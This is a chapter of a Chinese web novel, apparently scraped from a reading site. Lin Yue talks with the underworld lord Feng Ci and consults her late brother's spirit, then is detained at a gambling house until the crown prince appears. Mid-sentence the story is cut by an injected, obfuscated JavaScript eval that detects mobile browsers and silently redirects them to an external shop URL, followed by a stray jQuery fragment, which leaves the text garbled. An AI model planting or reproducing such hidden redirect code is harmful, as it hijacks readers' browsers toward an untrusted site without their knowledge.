听酆都大帝冷不丁来了一句“你变了”,林樾吓得心惊肉跳。
自己这来自异世的小魂灵不会是被执掌生死的帝君发现了,要被处以十八层地狱级的酷刑折磨了吧!
好在感受到了她的紧张,酆辞很快温声安慰:“别怕,以我之意,这转变是好事,自从来了尘世之后,你身上多了些人气儿,不再像以前那样冷冰冰的了。”
呼——
林樾舒了一口气,心慌意乱地解释:“是吗?那大概是因为回来之后,大哥、祖母、姨娘和弟弟他们都对我很好的缘故吧。师尊也说了我下山后性子软和了些。”
“是啊,元熹那老家伙过于擅长卜算,从而也过分依赖卜算,搞得做什么事都是一板一眼的,把偌大个凌云宗管理得死气沉沉的,也难怪你的性子会越来越冷了,我早就说过你该多出来走走的。”酆辞难得吐槽。
“师尊有他的道心和坚持。”林樾只说了这么一句,不欲跟他过多谈论元熹天尊。
“那倒也是。”酆辞漫不经心地应和一句。
如愿以偿地住了进来,他终于恢复了之前的彬彬有礼、知情识趣,适时起身告辞,“天色不早,我就不过多打扰了,青晏早些休息吧。”
“好,我让林东送你去松寒院。”林樾毫不迟疑地跟着起身,开口送客。
待酆辞的身影从院门口消失,林樾才折返回屋,径直进了内室,施法唤出大哥的魂魄,向他询问所谓神风卫的事。
果不其然,世子虽然也知道那个传言,但对其真假却是毫无所知。直言父亲生前并没有提起过神风卫,而在父亲辞世后,也没有哪个暗卫头子找上门来宣誓要效忠于他。
二人讨论了一会儿,最后也只得出了两个推测。
其一是传言真的只是传言,大概率是敌对势力造谣出来离间侯府和皇帝的关系的;
其二则是真有这么一支队伍,却被执掌啸林军的林柏捷足先登,收服了去。
无论哪种情况都对林樾的处境不利,可二人一时间也难以想出破解之法,便只能暂时搁下不管了。
在世子叮嘱林樾小心防范、而林樾提醒世子专心准备殿试之后,林樾便把世子送回了玉牌中,自己打坐修行不提。
*
定武侯世子和九公主殿下遭遇刺杀一事并没有在京城中掀起什么波澜,可见当日在场的众人都没有刻意去宣扬此事,甚至就连备受宠爱的莫离都没有向陛下提起过。
京城繁华热闹依旧、稳定安乐依旧。
尤其是今科的举子们,早已将会试时的冷风寒雨抛诸脑后,大都忙着以文会友、联对斗诗,好为自己的殿试造势。
林樾也收到了几张这样的帖子,发帖者除了因以往同在京城而有过些许交情的世家子弟之外,还有几个一甲的热门人选。
林樾对这些文会都没什么兴趣,却突然想起了开考前和林松一起在赌场宝盛坊压下的赌注。
于是,在一个春光明媚的清晨,他便喊上林松和林杏,一起去宝盛坊领取压胜钱。
赌坊内热闹依旧。可看到林樾,掌柜的却再也没有了下注那天有些怜悯却也不多的高高在上的姿态,哭丧着脸接待了三人,领着他们七弯八拐地进了一间隐蔽的屋子。
眼见掌柜的东拉西扯就是不肯痛快地付钱,而这间屋子里也听不见外面的任何声音、好像与世隔绝了一般、安静得有些诡异,林松突然有些不安,忍不住开口警告:“我们下注可是在九公主殿下面前过了明路的,这次来领钱殿下也是知道的,你可不能赖账。”
“咱们宝盛坊开门做生意,自然是童叟无欺的,怎么会赖账呢?”
掌柜的陪着笑脸解释,“请三位过来,不过是咱们主家想跟林世子见一面,谈一桩生意而已,只是刚才主家传信说他有点事情要稍稍耽搁一会儿,还请三位稍安勿躁,先喝点茶解解渴吧。”
“生意?你们一个赌坊,能跟我大哥谈什么生意?”林松表示不信,“而且谈生意也不耽误付钱,你还是先把银票给我们才好。”
“大哥,酆大侠有没有跟过来啊?”林杏则悄声问林樾,同时满怀希冀地向四下里张望了一番。
“五弟、四妹不必紧张,我相信宝盛坊和杜掌柜都不是那等输不起的,既然说是有生意,咱们稍待片刻也无妨。”
林樾出声安抚弟、妹,姿态娴雅地拿起面前的茶杯轻啜了一口,阖目细品。
“林世子果然胆色过人,在下佩服!”杜掌柜亦真亦假地赞了一句。
“不是,大哥,咱们今天过来都是临时起意,他杜掌柜的主家怎么知道的,难道还能未卜先知不成?”林松还是不信。
“林五公子心思缜密,在下佩服!”
杜掌柜笑面虎般又赞了一句,解释道,“其实自从上次林世子下注之后,主家就交待过了,等林世子再来时,命在下一定要通知到他,并设法留下世子等他相见。”
“那你的这位主家到底是什么人?有什么见不得人的事?干嘛搞得这么神神秘秘的?”林松又问。
“主家马上就到,林五公子一见便知,就不必在下多言了。”杜掌柜回答得滴水不漏。
“大哥,咱们还是尽快离开吧。你忘了昨晚的事了?”林松还是觉得有些不靠谱,转而向林樾建议。
“五弟稍安勿躁,这茶还不错,上好的明前龙井,喝一杯去去火气。”林樾神色平静地又啜了口茶。
“大哥?”林松不满地叫了一声。
“五弟,你还看不明白吗?在未见到人之前,咱们想要离开,怕是难上加难了。”
林樾轻叹,神色未变,姿态闲适地斜靠进椅背里,继续慢条斯理地喝茶。
“林世子通透。”杜掌柜这次由衷地赞了一句。
“大哥,那酆大侠……”林杏更加不淡定了,颤声问道。
“四妹不用紧张,等见到了人,咱们自然就可以离开了,无非是多耗些时间罢了。”林樾温声安慰林杏。
“可这人到底是谁啊?摆这么大的谱!”林樾的淡定感染了林杏,小姑娘神色间不再惊惧,却仍是不满地嘟囔。
林樾笑了笑,未再接话,只把手中空了的茶杯放在桌面上。
杜掌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663268|206414||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
柜见了忙又帮她续了一盏。
林樾道了谢,端起茶杯继续品茶,自然地就仿佛她真的只是来这里喝茶一般。
直等了近一个时辰,赌坊的幕后主人才终于姗姗来迟。
果真如杜掌柜所说的一见便知,可又出乎所有人的意料,来人竟然是太子殿下莫谦。
虽然太子殿下身着便装,也没有带随从,可林樾犹豫了一下,还是决定乖乖向其行君臣之礼。
她可不想以一己之力去挑战封建社会的皇权天授。
太子见状连忙伸手去扶,结结实实地一把抓住林樾的手臂,用力阻止她拜下去。
林樾本也不是心甘情愿下拜的,自是顺势平身,借谢恩之机后退几步,与他拉开了距离,垂手而立。
林松、林杏和杜掌柜却是恭恭敬敬地行了大礼,才换来太子殿下一句矜持的“平身”。
候太子殿下落座,杜掌柜斟了茶,便识趣地退了出去。
太子优雅地端起茶杯,却不饮茶,只淡淡瞥了林松和林杏一眼。林樾无奈,只能吩咐二人先去外面等自己。
屋子里只剩下林樾和太子。太子随意歪靠在座椅间,笑道:“停弦,快坐,在孤面前,不必拘谨。”
“多谢太子殿下,”林樾干脆利落地在太子下首坐下,迟疑问道,“不知殿下是因何事召臣?”
“也没什么具体的事儿,就是听说你身体康复了,便想着找个时间叙叙旧。”太子把玩着茶杯,语气轻松淡然。
“多谢太子殿下。”林樾一副公事公办的语气,同时紧急唤醒世子灵魂,向他询问和太子相交的旧事。
“还记得你乡试夺魁那一年,丹桂飘香、芙蓉弄色,而你峨冠博带、簪花赴鹿鸣,端的是意气风发,”
太子自顾自地开始抒情,声音感慨,“岂料自那之后,你的身体却是每况愈下,竟是连会试都坚持不下来,否则若是再于会试一举夺魁,本朝这连中三元第一人的名头就是你的了。”
“太子殿下谬赞了,臣那年乡试能中已是侥幸,岂敢再肖想会试夺魁?何况臣这身体自幼便不太好,乡试时秋高气爽、气候宜人,自然没有大碍,之后的会试春寒未散,半途而废也是没有办法的事,让殿下见笑了。”
林樾不卑不亢却又以慎为键。听大哥说了他和太子之间虽有些幼时的情谊,但成年后却并没有太多交集,她自然不必太过热络。
“年前听闻你病势沉重,孤还特意叫了太医询问病情,不料却得知给你主治的是一个民间大夫,孤本想安排日常得用的杜院使去给你诊治,偏赶上父皇命孤出京赈灾,因走得急,便耽搁了。等年后回京,就听说你已经好了,如今看来果是已经大好了。”太子对她疏离的态度不以为意,若无其事地笑道。
“是的,已经康复了。太子殿下政务繁忙,还费心关照微臣,臣铭感五内。”林樾适时流露出些许感激。
“孤听说是善仁堂的林守仁妙手回春?”太子啜了口茶,状似闲聊。
林樾傻眼了,堂堂一国太子殿下,费尽周折地见她一面,难道就是为了问一句是谁治好了她?